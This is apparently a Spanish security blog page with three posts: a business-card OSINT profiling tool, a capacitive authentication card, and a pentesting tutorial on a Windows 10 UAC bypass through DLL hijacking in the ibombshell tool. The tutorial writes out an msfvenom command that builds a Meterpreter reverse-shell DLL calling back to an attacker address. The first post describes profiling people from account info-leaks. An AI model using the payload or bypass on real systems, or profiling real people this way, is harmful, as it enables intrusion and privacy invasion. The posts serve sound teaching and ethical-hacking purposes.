jueves, noviembre 22, 2018

Dirty Business Card ¿Cuánto de "sucia" está tu tarjeta de visita?

Durante el último año, después del escándalo de Cambridge Analytica, estuve prestándole especial atención a las pequeñas fugas de información que se producen en las aplicaciones web de los servicios en Internet que pueden revelar de forma directa o indirecta algún dato o "insight" sobre las personas. Estos pequeños info-leaks pueden ser verdaderamente peligrosos si se utilizan para perfilar, dentro de algoritmos de Machine-Learning, a gente que utiliza un determinado servicio, o a una persona por utilizar un servicio.

Figura 1: Dirty Business Card ¿Cuánto de "sucia" está tu tarjeta de visita?

Las fugas de información pueden ser grandes, o muy pequeñas, algunas como la del terminal móvil que tiene una persona, y que se obtiene fácilmente del sistema de recuperación de contraseñas de Google, otros como los que se producen en servicios online en el proceso de creación de una cuenta por no haberlo hecho de forma correcta, tal y como os contaba en este artículo de: "Cómo evitar fugas de información en la creación y recuperación de cuentas que pueda utilizar cualquier Cambridge Analytica hoy en día". Ahí es nada con el título del post.

Figura 2: Info-leak del terminal móvil asociado a una cuenta de Google

Con la idea de concienciar a los desarrolladores de estos problemas, di una charla en la Dot.Net Conference Madrid 2018 explicando cómo uno de estos pequeños info-leaks se podría weaponizar y convertir en un autentico problema para las personas, ya que algunas de estos fugas de información podrían apuntar a su vida personal, como el caso de las redes sociales de contactos adultos Follamigos o Grindr.


Figura 3: Info-leaks en tiempos de Cambridge Analytica

Para explicar mucho mejor el concepto a los asistentes del Security Innovation Day 2018, construimos en el equipo de Ideas Locas de CDO una herramienta muy sencilla que se llama Dirty Business Card Reader. Algo que aparentemente es un acto social en el mundo de los negocios muy común, puede convertirse en un autentico perfilado de la persona que entrega la tarjeta a partir de los info-leaks de cuentas. En este vídeo tenéis un pequeño ejemplo de su funcionamiento con datos inventados.


Figura 4: Dirty Business Card Reader

La idea es que, utilizando los daos de la tarjeta de visita, Dirty Business Card, busca a ver en qué sitios que tienen un info-leak, esta persona se ha sacado una cuenta que tiene asociado a su número de teléfono o su dirección de correo electrónico. Por supuesto, integramos búsquedas en servicios de leaks de cuentas como Have I been Pwnd, Pastebin o similares.

Figura 5: Sección del gráfico de cuentas de servicios asociado a una Business Card

Por supuesto, no necesitas tener la tarjeta de visita de una persona para hacer lo mismo, pero yo quería explicar con esta utilidad lo que para mí es una “Dirty Business Card”. Tan sencillo como una tarjeta con datos de contacto utilizados para registro de cuentas y servicios en Internet.

¿Y por qué es útil esta herramienta?

Pues porque cuando un empleado deja la empresa, los responsables de dar de baja sus cuentas – número de teléfono o dirección de e-mail – tal vez deban conocer cuánto de “sucios” se encuentran esos identificadores para proceder a su eliminación completa. O para proteger a sus empleados de ataques de ingeniería social.

Si tus trabajadores dan Dirty Business Cards a sus contactos profesionales, entonces un atacante podría conocer más a su objetivo y preparar un Watering Hole Attack, o preparar un contacto falso en un red social "especial" para sextorsionarle, o conocer su estado de salud o dónde vive por info-leaks en redes de deportistas.

Figura: El inicio y final de una ruta puede ser la vivienda de la persona

Por supuesto, también es útil en sistema de ciberinteligencia, y por eso estamos trabajando para incluirla dentro de OSR-Framework de Felix y Yaiza que está dentro de Kali Linux, para dotar de más capacidades a la herramienta – que por defecto ya trae muchas capacidades de investigación de cuentas utilizando otras técnicas -.


Figura: OSRFramework de Yaiza Rubio y Felix Brezo

En breve liberaremos tanto la integración con OSR-Framework como una herramienta de escritorio escrita en Electron para usarla en proyectos de Ethical Hacking. Eso sí, que no deba recordarte que los datos que van en tu tarjeta de visita deben estar limpios, limpios.

Saludos Malignos!

miércoles, noviembre 21, 2018

Capacicard: Tecnología física de identificación y autorización de @ElevenPaths

Durante el pasado Security Innovation Day 2018 de ElevenPaths tuvo lugar la presentación en sociedad de una tecnología de identificación y autorización con la que hemos estado trabajando durante el último año y que hemos patentado para permitir autenticar y/o autorizar cualquier operación en un sistema informático.

Figura 1: Capacicard: Tecnología física de identificación y autorización de ElevenPaths

La idea, que se ha bautizado como CapaciCard, es aprovecharse de las capacidades capacitivas de los dispositivos móviles que permiten capturar muchos puntos de contacto. Esto les permite por ejemplo hacer el famoso gesto de ampliar una imagen en un dispositivo móvil utilizando dos dedos.

Figura 2: Tarjeta Capacicard genarando patrón de autenticación en dispositivo

Con esta idea se nos ocurrió utilizar un hilo capacitivo para crear un grafo sobre una tarjeta que pudiera imprimir un patrón único para cada usuario, de esta forma podríamos autenticar a un usuario en un determinado instante en cualquier sistema informático utilizando un side-channel basado en el terminal móvil.

Figura 3: Pruebas e iteraciones en la construcción de CapaciCard

Hubo que iterar muchas veces, el concepto y la tecnología, pero en el vídeo que tenéis a en la Figura 3 se puede ver la demostración de cómo funciona por dentro la tecnología de Capacicard y cómo es posible fabricar estos sistemas con grafos únicos.


Figura 4: Explicación de CapaciCard

Una vez desarrollada la tecnología, procedimos a construir tarjetas especiales que oculten el grafo a la vista de cualquier posible observador y, al no tener ninguna emisión electromagnética, la única forma de capturar el patrón es robando la tarjeta al usuario.

Figura 5: Tarjetas que ocultan el grafo capacitivo dentro de CapaciCard

Esto permite tener un factor de autenticación basado en un desafío resuelto por el patrón del grafo. Es decir, un sistema perfecto para autenticar o firmar o una operación con un patrón codificado dentro de una tarjeta con capacidades de grafo capacitivo.

Figura 6: El sistema valida el grafo capacitivo dentro de CapaciCard

Lógicamente, dependiendo del desafío que proponga cada una de las webs, el usuario puede utilizar la misma tarjeta capacitiva como un patrón para estar asociada a múltiples servicios, y podría ser utilizada, por ejemplo, en sistemas de tornos de entrada física para evitar el acceso con tarjetas con emisiones electromagnéticas que se pudieran clonar remotamente.


Figura 7: CapaciCard de ElevenPaths

Por supuesto, se puede utilizar de forma conjunta, es decir, una tarjeta CapaciCard de autorización con tecnología RFID o NFC, lo que haría que los sistemas de acceso a edificios que utilizan estas tecnologías sean mucho más difíciles de romper.

Figura 8: Web de CapaciCard (y registro de patente)

Si quieres probar esta tecnología, hemos abierto una web para que podáis contactar con nosotros y probarlo. Este proyecto ha sido una de las invenciones en las que ha estado trabajando el laboratorio de innovación de ElevenPaths y marca lo que ha sido el ADN de esta compañía desde el principio.

Saludos Malignos!

martes, noviembre 20, 2018

Mocking Trusted Directory UAC Bypass en iBombshell

La semana pasada hablábamos sobre la técnica Mocking Trusted Directory como algo más que un bypass de UAC para Windows, ya que permite engañar al sistema operativo y hacerse pasar por una ruta de confianza cuando, en realidad, no lo es. También comenté que miraría para llevar esta técnica a ibombshell y aquí la tenemos lista y funcionando para que la utilices en tus proyectos de Ethical Hacking. Es más, lo interesante era hacerlo funcionar en Windows 10.

Figura 1: Mocking Trusted Directory UAC Bypass en iBombshell

En el artículo de hoy hablaremos de la integración de esta función en ibombshell, tanto en el modo Everywhere como en el modo Silently. Antes, veremos un vídeo en el que se puede ver el funcionamiento por debajo de esta técnica sobre un Windows 10 hecho de forma manual y cómo se consigue el DLL Hijacking, en este caso del binario ComputerDefaults.exe.

Prueba manual de Mocking Trusted Directory

En esta prueba manual usaremos los conceptos explicados en el artículo anterior, y las técnicas habituales que se explican en el libro de "Hacking Windows: Ataques a sistemas y redes Microsoft" que escribí junto a mis colega Carlos García y Valentín Martín.

Figura 2: Hacking Windows: Ataques a sistemas y redes Microsoft

Tengo que decir que para elegir un binario débil a DLL Hijacking me basé en los resultados obtenidos con UAC-A-Mola y el paper que publicqué en el año 2017, junto a mi colega Santiago Hernández Ramos. En el último apartado podíamos ver cómo se detectaban potenciales binarios débiles a DLL Hijacking gracias al módulo que automatizaba esta operación en UAC-A-Mola.

Figura 3: Binarios débiles frente a DLL Hijacking detectados por UAC-a-mola

Para el artículo de hoy, solo he cogido el primer binario de la lista, pero podríamos utilizar otros que aparecen en el listado. De los 60 binarios que se encuentran en el directorio \Windows\System32 y que tienen AutoElevate a True, un total de 13 podrían ser utilizados para el DLL Hijacking con Mocking Trusted Directory, seguramente.


Figura 4: Windows 10 UAC Bypass: Mocking Trusted Directory - Prueba Manual

Lo primero fue hacerse un boceto de lo que necesitaba en Powershell. Como sabéis ibombshell permite cargar dinámicamente funciones en memoria, por lo que cualquier puede crear una función e invocarla en tiempo de ejecución desde la consola. Pensé en las cosas que necesitaba e hice este ejercicio:
1- Es un bypass que utiliza DLL Hijacking 
Necesitamos que la función reciba la ruta donde estará la DLL que queremos que se ejecute. El cómo hagamos la DLL es cosa nuestra y el que contenga la DLL también es cosa nuestra. Por ejemplo, podemos utilizar msfvenom –p Windows/x64/meterpreter/reverse_tcp LHOST=[dirección IP nuestra] LPORT=4444 –b ‘\x00\x0a\x0d’ –f dll –o [salida DLL] y de este modo conseguir una DLL que tenga un Meterpreter dentro y que sirva para procesos x64. En resumen, tendremos un parámetro $dll en la función que recibirá la ruta a la DLL.
2- Necesitamos el nombre de la carpeta donde se almacena la DLL 
En este caso, y tal y cómo se puede ver fácilmente con ProcMon, es una ruta con un ID que puede cambiar con diferentes compilaciones fácilmente. En la función se ha dejado una por defecto si no se introduce, pero deberá configurarse por el pentester.
3- Hay que detectar la versión del sistema operativo 
Para ello se puede utilizar la propia función que tiene ibombshell para ello, o poder implementar algún método propio en la función.
Ya no hay más requisitos, así que ahora era el momento de ir introduciendo las instrucción a través de System.io.* con el objetivo de crear la jerarquía de carpetas y poder llevar a cabo el bypass de UAC. La primera versión de la función ha quedado así:

Figura 5: Función para ejecutar el Mocking Trusted Directory UAC Bypass en Powershell

Ahora es el momento de probarlo e implementarlo en los modos Everywhere y Silently dentro de nuestro iBombshell. Vamos a verlo en cada uno de los modos en las siguientes partes del artículo.

Pentesting con el modo Everywhere

Ahora vamos a ver cómo se puede probar esta función en el modo Everywhere. Este es el modo de uso local, es decir, no tenemos herramientas de Ethical Hacking en el equipo, pero disponemos de una Powershell. Abrimos una Powershell, abrimos el navegador y vamos al sitio web de Github de ElevenPaths, vamos al repositorio de ibombshell y encontramos la siguiente instrucción:

Figura 6: Modo everywhere en ibombshell

Como se puede ver en la siguiente imagen, lo primero que hacemos, una vez que tenemos cargada ibombshell, es cargar la función help! que nos ayudará a obtener la ayuda necesaria para ejecutar y conocer los parámetros obligatorios, y los que no, de una función.

Figura 7: Invocación en modo everywhere de mockingtrusteddirectory en ibombshell
Tras cargar dinámicamente la función de “invoke-mockingtrusteddirectory” se consulta la ayuda y podemos ver cómo necesitamos la ruta de la DLL. El cómo colamos dicha DLL es cosa nuestra, pero se puede utilizar ibombshell para hacer un “drop” en el equipo.


Figura 8: Windows 10 UAC Bypass con Mocking Trusted Directory con ibombshell en modo everywhere

Una vez tenemos todo preparado ejecutamos la función del bypass de UAC. En el vídeo se puede ver el proceso paso a paso y la obtención del Meterpreter con privilegio gracias al bypass.

Pentesting con el modo Silently de ibombshell

El nuevo módulo escrito en Python puede consultarse desde su carpeta en el repositorio de Github. La configuración es sencilla, primero debemos tener el listener para recoger la sesión de ibombshell, tal y como se puede ver más adelante en el vídeo.

Figura 9: Módulo en Pyhont

Cuando se ejecuta la función en el modo silently se realiza el bypass y se obtiene la sesión de Meterpreter, ya que la DLL tiene este código. Otra posibilidad sería crear una DLL que ejecutará un código de Powershell e invocar ahí nuestra ibombshell en modo Silently.

Figura 10: Elevación a System en Meterpreter en nuestro Kali Linux

Por último, como en el caso anterior, os dejo un pequeño vídeo de la última parte explotando el Bypass de UAC usando Mocking Trusted Directory desde ibombshell en modo Silently para que podáis ver el funcionamiento.

Figura 11: Windows 10 UAC Bypass usando Mocking Trusted Directory desde ibombshell en modo Silently

Hasta aquí el ejemplo de inclusión del nuevo bypass de UAC en nuestra herramienta ibombshell. Esperemos que ayudéis con el crecimiento de la herramienta. Pronto novedades con el viaje al Arsenal de la BlackHat Europe 2018.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advance Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDO de Telefónica.

Entrada destacada

Hacking IA: Jailbreak, Prompt Injection, Hallucinations & Unalignment. Nuestro nuevo libro en 0xWord

Pocas veces me ha hecho tanta ilusión que saliera un nuevo libro en 0xWord como con este libro de " Hacking IA: Jailbreak, Prompt Inje...

Entradas populares